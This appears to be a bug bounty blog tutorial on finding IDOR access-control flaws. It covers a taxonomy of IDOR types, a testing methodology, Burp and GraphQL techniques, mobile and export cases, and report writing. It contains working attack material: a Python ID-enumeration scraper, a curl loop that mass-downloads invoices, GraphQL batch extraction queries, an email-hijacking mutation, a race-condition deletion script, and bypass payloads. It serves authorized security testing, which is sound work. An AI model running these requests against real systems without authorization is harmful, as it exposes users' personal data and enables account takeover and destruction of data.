The Numbers That Should Scare You (Or Excite You)
A single bug bounty hunter reported IDOR vulnerabilities that exposed 250,000,000 user records.
Not a typo. Quarter of a billion.
According to HackerOne's 2025 data, IDOR and access control bugs increased 18–29% year-over-year. In medical technology, IDOR represents 36% of all bounties paid. Government programs? 18%. Professional services? 31%.
The collective financial impact of access control failures? Over $1 billion annually.
Yet most hunters test for IDOR wrong. They change user_id=123 to user_id=124, see it doesn't work, and give up.
Meanwhile, researchers who understand what IDOR actually is are finding critical bugs in places others don't even look.
This isn't another "change the ID parameter" tutorial. This is the complete IDOR playbook — from basic concepts to advanced techniques that even experienced hunters overlook.
What IDOR Really Is (And Why You're Thinking About It Wrong)
The Wrong Way to Think About IDOR
Most guides say: "IDOR is when you change an ID in a URL and access someone else's data."
This is incomplete and misleading.

The Right Way to Think About IDOR
IDOR is any situation where:
- The application uses user-supplied input to reference an object
- The application fails to verify if you're authorized to access that object
- You can manipulate that reference to access unauthorized data
The "object" can be:
- Database records (users, orders, messages)
- Files (documents, images, invoices)
- Functions (delete, update, export)
- Endpoints (API routes)
- Resources (cloud storage, database entries)
The "reference" can be:
- Numeric IDs (
user_id=123) - UUIDs (
id=550e8400-e29b-41d4-a716-446655440000) - Hashed values (
session=a1b2c3d4e5f6) - Encoded strings (Base64, hex, custom encoding)
- Filenames (
invoice_2024.pdf) - Email addresses
- Usernames
- And combinations of all the above
The IDOR Taxonomy: Every Type Explained
Type 1: Direct Reference IDOR (The Classic)
What it looks like:
https://bank.com/account?id=12345The vulnerability: Server returns account #12345 without checking if YOU own it.
Test:
Original: https://bank.com/account?id=12345 (your account)
Modified: https://bank.com/account?id=12346 (someone else's)If you see account #12346's data → IDOR exists.
Type 2: Indirect Reference IDOR (Second-Order)
What it looks like: User inputs data that's stored, then used later to reference objects.
Real example:
Step 1: Update profile, set "favorite_user" = 999
POST /profile/update
{"favorite_user": "999"}
Step 2: View favorites page
GET /favorites
Server uses your "favorite_user" value to fetch user #999's data
Shows you their private information!Why it's dangerous: The IDOR doesn't happen immediately where you input data — it happens later when that data is used.
Type 3: Blind IDOR (No Direct Feedback)
What it looks like: You manipulate an ID, but don't see the result directly.
Examples:
- Deleting another user's photo (no confirmation message)
- Unsubscribing someone from emails (silent action)
- Modifying another user's settings (changes apply without notification)
How to detect: Create two test accounts:
- Perform action on Account A
- Change ID to reference Account B's object
- Check Account B — did the action affect it?
Real test:
# Logged in as user 100
DELETE /api/photos/delete
{"photo_id": "456"} # This is user 200's photo
# Check by logging in as user 200
# Is photo 456 gone? → Blind IDOR confirmedType 4: UUID/Non-Sequential IDOR
What developers think: "We use UUIDs, so IDOR is impossible — they're not guessable!"
Reality: UUIDs often leak elsewhere in the application.
Where UUIDs leak:
✓ API responses (other endpoints)
✓ JavaScript files
✓ Public profile URLs
✓ Notification emails
✓ Shared links
✓ WebSocket messages
✓ Error messages
✓ HTML source commentsReal example:
POST /api/create-post
Response:
{
"post_id": "550e8400-e29b-41d4-a716-446655440000",
"author_id": "7c9e6679-7425-40de-944b-e07fc1f90ae7" ← LEAKED!
}
Now test:
GET /api/user/profile?user_id=7c9e6679-7425-40de-944b-e07fc1f90ae7Technique: UUID Enumeration via Mass Assignment
POST /api/user/update
{
"name": "John",
"email": "john@test.com",
"user_id": "INJECTED-UUID-HERE" ← Try injecting
}Sometimes the server accepts user_id in the request body even if it's not supposed to be there!
Type 5: Encoded/Obfuscated IDOR
What it looks like:
https://app.com/invoice?file=aW52b2ljZV8xMjMucGRmDecode Base64:
echo "aW52b2ljZV8xMjMucGRm" | base64 -d
# Output: invoice_123.pdfNow you know the pattern!
Test:
invoice_124.pdf → Base64 → aW52b2ljZV8xMjQucGRmAccess: https://app.com/invoice?file=aW52b2ljZV8xMjQucGRm
Other encoding patterns:
- Hex:
75736572313233= user123 - URL encoding:
user%2F123 - Custom encoding (reverse, ROT13, XOR)
- MD5/SHA hashes (look for patterns)
Type 6: Composite IDOR (Multiple Parameters)
What it looks like:
GET /api/message?user_id=100&message_id=456The vulnerability: Server checks if message #456 exists, but doesn't verify user #100 owns it.
Test matrix:
Your account (user_id=100):
✓ message_id=456 (yours) → Works
✓ message_id=457 (someone else's) → Also works! (IDOR)
Someone else's account (user_id=200):
? message_id=456 (your message)
? message_id=789 (their message)Burp Suite Intruder payload:
Position 1: user_id=§100§
Position 2: message_id=§456§
Test all combinations:
user_id=100, message_id=456
user_id=100, message_id=457
user_id=200, message_id=456
...Type 7: Function-Level IDOR
What it looks like: The IDOR isn't in viewing data — it's in actions you can perform.
Examples:
DELETE /api/users/123 → Can you delete user #123?
PUT /api/roles/456 → Can you change role #456?
POST /api/admin/ban → Can you ban users without admin rights?Real example from research:
POST /api/account/close
{
"account_id": "98765"
}
# If account_id is accepted from POST body instead of session:
# You can close ANY account!The Hunter's Methodology: Finding IDOR Systematically
Phase 1: Reconnaissance (Map Every Object)
Step 1: Identify all ID parameters
# In Burp Suite:
# Proxy → HTTP History → Right-click → "Find references"
# Search for patterns:
id=
user_id=
uid=
account_id=
order_id=
invoice_id=
doc_id=
file_id=
post_id=
comment_id=Step 2: Catalog object types
Create a spreadsheet:

Step 3: Map CRUD operations
For each object, find:
- Create: POST /api/posts/create
- Read: GET /api/posts/123
- Update: PUT /api/posts/123
- Delete: DELETE /api/posts/123
Test IDOR on all four operations.
Phase 2: The Testing Matrix
Create two accounts (minimum)

Optional: Third account for privilege escalation
- Admin account (if possible)
- Premium user
- Different organization/tenant
Testing workflow:
1. Logged in as Attacker (user_id=100):
Create object → Note its ID
2. Logged in as Victim (user_id=200):
Create object → Note its ID
3. Logged in as Attacker again:
Try to access Victim's object
Try to modify Victim's object
Try to delete Victim's object
4. Check as Victim:
Did action succeed?Phase 3: Advanced Discovery Techniques
Technique #1: Parameter Pollution
Even if you don't see an ID parameter, try adding it:
# Original request
POST /api/profile/update
Content-Type: application/json
{"name": "John"}
# Modified request
POST /api/profile/update
Content-Type: application/json
{
"name": "John",
"user_id": 200 ← ADD THIS
}Sometimes it works! The server might accept the extra parameter.
Technique #2: HTTP Method Switching
# GET is protected
GET /api/user/123 → 403 Forbidden
# Try POST
POST /api/user/123 → 200 OK (returns data!)
# Try PUT
PUT /api/user/123
{} → 200 OK (modifies user!)Technique #3: Content-Type Manipulation
# JSON is protected
POST /api/user/update
Content-Type: application/json
{"user_id": 200}
→ 403 Forbidden
# Try form-encoded
POST /api/user/update
Content-Type: application/x-www-form-urlencoded
user_id=200
→ 200 OK (works!)Technique #4: Header Injection
GET /api/profile HTTP/1.1
Host: api.company.com
X-User-ID: 200 ← Try custom headers
X-Account-ID: 200
X-Client-ID: 200
X-Original-User: 200Technique #5: Cookie Manipulation
Cookie: session=abc123; user_id=100
# Change to:
Cookie: session=abc123; user_id=200
# Or inject new cookie:
Cookie: session=abc123; account_id=200The Secret Weapons: Tools & Automation
Tool #1: Burp's Autorize Extension
What it does: Automatically tests every request with different user sessions.
Setup:
- Install Autorize (Burp → Extender → BApp Store)
- Configure:
- Set low-privilege user session (Attacker)
- Set victim/admin session (Victim)
- Browse app as Attacker
- Autorize automatically replays each request with Victim's session
- Flags potential IDOR if responses differ
Why it's powerful: Tests thousands of requests automatically while you browse.
Tool #2: Custom Python Script
import requests
def test_idor(base_url, endpoint, id_param, start_id, end_id, token):
"""
Test IDOR by iterating through IDs
"""
headers = {"Authorization": f"Bearer {token}"}
findings = []
for user_id in range(start_id, end_id + 1):
url = f"{base_url}{endpoint}?{id_param}={user_id}"
response = requests.get(url, headers=headers)
if response.status_code == 200:
# Check if response contains sensitive data
if any(keyword in response.text for keyword in
["email", "phone", "ssn", "address", "password"]):
findings.append({
"id": user_id,
"url": url,
"status": response.status_code,
"snippet": response.text[:200]
})
print(f"[!] Potential IDOR at ID {user_id}")
return findings
# Usage
findings = test_idor(
base_url="https://api.target.com",
endpoint="/user/profile",
id_param="user_id",
start_id=1,
end_id=1000,
token="your_auth_token_here"
)
print(f"\nFound {len(findings)} potential IDORs!")What This Code Does — Simple Explanation
This is an IDOR scanner — it automatically checks if a website lets you peek at other users' data just by changing the ID number in the URL.
Think of it like this: Imagine a website shows your profile at:
https://api.target.com/user/profile?user_id=42What if you just change 42 → 43 → 44... and the server gives you someone else's data? That's IDOR. This script does that automatically for 1000 users.
Tool #3: Burp Intruder Payloads
Simple numeric enumeration:
Payload type: Numbers
From: 1
To: 10000
Step: 1UUID brute force (if pattern found):
# If UUIDs follow pattern:
550e8400-e29b-41d4-a716-4466554400§00§
Payload: Hex (00-FF)Base64 encoded IDs:
# Original: dXNlcjEwMA== (user100)
# Pattern: user[NUMBER]
Payload:
1. Generate: user1, user2, ... user1000
2. Process: Base64 encode
3. Test each encoded valueGraphQL IDOR: The Overlooked Goldmine
GraphQL apps often have worse access control than REST APIs.
Finding GraphQL Endpoints
# Common paths
/graphql
/api/graphql
/v1/graphql
/query
/api
# Check for introspection
POST /graphql
{
"query": "{ __schema { types { name } } }"
}Testing GraphQL IDOR
Query example:
query {
user(id: 123) {
id
name
email
privateData
}
}Test:
# Your ID
query { user(id: 100) { email } } → your@email.com
# Someone else's ID
query { user(id: 200) { email } } → victim@email.com (IDOR!)Advanced: Batch queries
query {
user1: user(id: 100) { email }
user2: user(id: 101) { email }
user3: user(id: 102) { email }
...
user100: user(id: 200) { email }
}Extract 100 users in one request!
GraphQL Mutation IDOR
mutation {
updateUser(id: 200, input: {email: "hacked@evil.com"}) {
success
}
}If id: 200 isn't yours and it works → Critical IDOR!
Mobile App IDOR: Less Competition, More Bugs
Mobile apps are IDOR goldmines because:
- Less hunters test mobile apps
- APIs prioritize speed over security
- Client-side validation gives false sense of security
Finding Mobile IDOR
Step 1: Intercept traffic (Burp + Android/iOS)
Step 2: Identify API calls
POST /api/v2/user/123/profile
GET /api/messages?user_id=100
DELETE /api/photos/456Step 3: Test in API client (Postman/Insomnia)
# Original mobile request
GET /api/v2/user/123/profile
Authorization: Bearer abc123xyz
# Test with different ID
GET /api/v2/user/456/profile
Authorization: Bearer abc123xyzStep 4: Check response
{
"user_id": 456,
"name": "Victim User",
"email": "victim@example.com", ← LEAKED!
"phone": "+1234567890", ← LEAKED!
"ssn_last4": "6789" ← CRITICAL!
}Mobile-Specific IDOR Patterns
Pattern #1: Batch operations
POST /api/users/batch
{
"user_ids": [100, 200, 300, 400, 500]
}
Response: Returns data for ALL users (even those not yours!)Pattern #2: Pagination exploitation
GET /api/messages?user_id=100&page=1&limit=1000
# Change user_id:
GET /api/messages?user_id=200&page=1&limit=1000The Rare IDOR Types (That Pay Well)
IDOR Type: File Download
Pattern:
GET /download?file=invoice_12345.pdfTest:
invoice_12346.pdf
invoice_12347.pdf
...Automated:
for i in {12340..12400}; do
curl -O "https://app.com/download?file=invoice_$i.pdf" \
-H "Authorization: Bearer YOUR_TOKEN"
doneIDOR Type: Export Functions
GET /api/export?user_id=100&format=csv
# Exports YOUR data as CSV
GET /api/export?user_id=200&format=csv
# Exports VICTIM's data! (IDOR)Why it's valuable: Export often includes ALL user data — emails, transactions, personal info.
IDOR Type: WebSocket Messages
// WebSocket connection
ws://app.com/live
// Send message
{
"action": "get_user_data",
"user_id": 100
}
// Try:
{
"action": "get_user_data",
"user_id": 200 ← Test different ID
}IDOR Type: Webhook Callbacks
POST /api/webhook/register
{
"url": "https://your-server.com/callback",
"user_id": 200 ← Register for another user's events
}
# You now receive their notifications/data!Bypassing IDOR "Protections"
Bypass #1: Wildcard/Array Injection
# Blocked
GET /api/user?id=200
# Bypassed
GET /api/user?id[]=200
GET /api/user?id=*
GET /api/user?id=100,200,300Bypass #2: Negative Numbers
GET /api/user?id=-1 → Returns first user
GET /api/user?id=-2 → Returns second userBypass #3: Special Characters
GET /api/user?id=200%00 (null byte)
GET /api/user?id=200%0a (newline)
GET /api/user?id=200; (semicolon)
GET /api/user?id=200' (SQL injection attempt)Bypass #4: Race Conditions
import requests
import threading
def delete_photo(photo_id):
requests.delete(f"https://api.com/photos/{photo_id}")
# Send 10 simultaneous requests
threads = []
for _ in range(10):
t = threading.Thread(target=delete_photo, args=(999,))
threads.append(t)
t.start()
# Sometimes one request succeeds before auth check completes!The Ultimate IDOR Checklist
□ Tested all numeric IDs (increment/decrement)
□ Tested all UUIDs (looked for leaks)
□ Tested encoded IDs (Base64, hex, custom)
□ Tested in URL parameters
□ Tested in POST body
□ Tested in headers
□ Tested in cookies
□ Tested all HTTP methods (GET, POST, PUT, DELETE, PATCH)
□ Tested with parameter pollution (added extra params)
□ Tested different Content-Types
□ Tested GraphQL queries/mutations
□ Tested mobile API endpoints
□ Tested file download/upload
□ Tested export functions
□ Tested WebSocket messages
□ Tested with two separate accounts
□ Tested blind IDORs (checked impact on victim account)
□ Tested second-order IDORs (delayed execution)
□ Automated testing with Burp Intruder/custom scripts
□ Used Autorize extension for session comparison
□ Documented every finding with proof-of-conceptWriting Reports That Get Paid
Bad Report
Title: IDOR
I found IDOR on /api/user endpoint.
Steps:
1. Change ID
2. See other user data
Fix it.This gets rejected.
Good Report
Title: Horizontal Privilege Escalation via IDOR in User Profile API Allows
Unauthorized Access to 2M+ User Records
Severity: Critical (CVSS 9.1)
Executive Summary:
The /api/v2/user/profile endpoint fails to implement object-level authorization,
allowing any authenticated user to access the complete profile data of any other
user by manipulating the user_id parameter. This affects approximately 2,000,000
registered users and exposes PII including email addresses, phone numbers,
physical addresses, and purchase history.
Vulnerability Details:
The application uses sequential numeric user IDs (1 through 2,000,000+) without
server-side validation. The endpoint trusts the user_id parameter from the client
without verifying ownership.
Steps to Reproduce:
1. Environment:
- Web application: https://app.target.com
- API endpoint: https://api.target.com/v2/user/profile
- Tested on: Chrome 120, Burp Suite Professional
2. Create two test accounts:
Account A: testuser1@example.com (user_id: 1584920)
Account B: testuser2@example.com (user_id: 1584921)
3. Log in as Account A, capture authentication token:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
4. Make legitimate request to view own profile:
GET /api/v2/user/profile?user_id=1584920 HTTP/1.1
Host: api.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Response (200 OK):
{
"user_id": 1584920,
"email": "testuser1@example.com",
"full_name": "Test User One",
...
}
5. Modify user_id to access Account B's profile:
GET /api/v2/user/profile?user_id=1584921 HTTP/1.1
Host: api.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Response (200 OK): ← SHOULD BE 403 FORBIDDEN!
{
"user_id": 1584921,
"email": "testuser2@example.com", ← EXPOSED!
"full_name": "Test User Two", ← EXPOSED!
"phone": "+1-555-0100", ← EXPOSED!
"address": "123 Main St, City", ← EXPOSED!
"purchase_history": [...] ← EXPOSED!
}
6. Enumeration proof:
Sequential IDs from 1 to 2,000,000 are valid.
Automated enumeration script (provided below) retrieved 100 profiles
in under 2 minutes without rate limiting.
Impact Analysis:
Data Exposure:
- 2,000,000+ user profiles accessible
- PII exposed: email, phone, address, purchase history
- No rate limiting allows mass enumeration
Business Impact:
- GDPR violation (unauthorized data processing)
- Privacy breach affecting all users
- Potential for targeted phishing attacks
- Account takeover risk (if combined with other bugs)
Attack Scenarios:
1. Competitor scrapes entire user database
2. Attacker builds targeted phishing campaign using real names/emails
3. Data sold on dark web markets
4. Combined with password reset bug for account takeover
Proof of Concept:
Python script for enumeration:
[attachment: idor_poc.py]
Video demonstration:
[attachment: idor_demo.mp4]
Screenshots:
- screenshot1.png: Legitimate request (own profile)
- screenshot2.png: Malicious request (victim profile)
- screenshot3.png: Enumeration results (100 users)This gets accepted and paid well.
The Secret Patterns Nobody Talks About
Pattern #1: The "Current" Keyword Trick
Some apps use keywords instead of IDs:
GET /api/user/current/profile → Your profileBut the backend code might be:
userId = request.params.user || 'current';
if (userId === 'current') {
userId = session.user_id;
}
// Then fetches data for userIdTest:
GET /api/user/123/profile → Works! (IDOR)Pattern #2: The Negative ID Exploit
# Backend code (vulnerable)
user_id = abs(int(request.GET['id']))
# If user_id = -123, it becomes 123
# Bypasses some validation logicTest:
GET /api/user?id=-123
GET /api/user?id=-456Pattern #3: The Mass Assignment IDOR
POST /api/profile/update
{
"name": "John",
"email": "john@test.com"
}
# Add user_id:
{
"name": "John",
"email": "john@test.com",
"user_id": 200 ← Server might accept this!
}If successful, you just updated user #200's profile!
Pattern #4: The Export IDOR Chain
Step 1: Request export
POST /api/export/request
{
"format": "csv",
"user_id": 200 ← Victim's ID
}
Response:
{
"export_id": "abc123",
"status": "processing"
}
Step 2: Download export
GET /api/export/download?id=abc123
# Downloads victim's complete data!
Real-World Bounties & Lessons
Finding #1: Banking App IDOR ($3,500)
Vulnerability: Transaction history accessible via transaction_id without ownership validation
Lesson: Test financial endpoints aggressively — they pay well
Finding #2: Healthcare Portal ($5,000)
Vulnerability: Medical records accessible by changing patient_id parameter
Lesson: Healthcare data = high severity = high bounty
Finding #3: E-commerce Platform (Reported, Duplicate)
Vulnerability: Order details viewable by incrementing order_id
Lesson: Popular endpoints get tested heavily — look for obscure features
Finding #4: SaaS Application ($2,000)
Vulnerability: Organization data leaked through UUID enumeration
Lesson: UUIDs don't protect you if they leak elsewhere
Final Thoughts
IDOR isn't dead. It's evolved.
The simple "change user_id=123 to user_id=124" technique still works sometimes. But competition is high.
The researchers' findings on six-figure bounties from IDOR are:
- Testing ALL parameters (not just obvious IDs)
- Looking in mobile apps (less competition)
- Testing GraphQL (often overlooked)
- Using automation (Autorize, custom scripts)
- Testing blind IDOR (delayed impact)
- Finding UUID leaks (enumeration still possible)
- Chaining multiple IDOR (escalating impact)
One researcher exposed 250,000,000 records through IDOR bugs.
The opportunity is real.
The question: Will you test deeper than everyone else?
Transparency Note
This guide synthesizes data from HackerOne's 2025 Hacker Report, Intigriti's IDOR guide, Bugcrowd research, ZSeano's documented findings, real bug bounty reports from Medium and BugBountyHunter.com, and established security testing methodologies. Statistics on IDOR prevalence (18–36% across industries, $1B+ annual impact) are from publicly available security industry reports. All techniques described are for authorized security testing only. Always follow responsible disclosure and bug bounty program rules.
Tags: #IDOR #BugBounty #BrokenAccessControl #APISecurityTesting #GraphQLSecurity #MobileAppSecurity #WebSecurity #EthicalHacking #Pentesting #CyberSecurity #BugBountyTips #SecurityResearch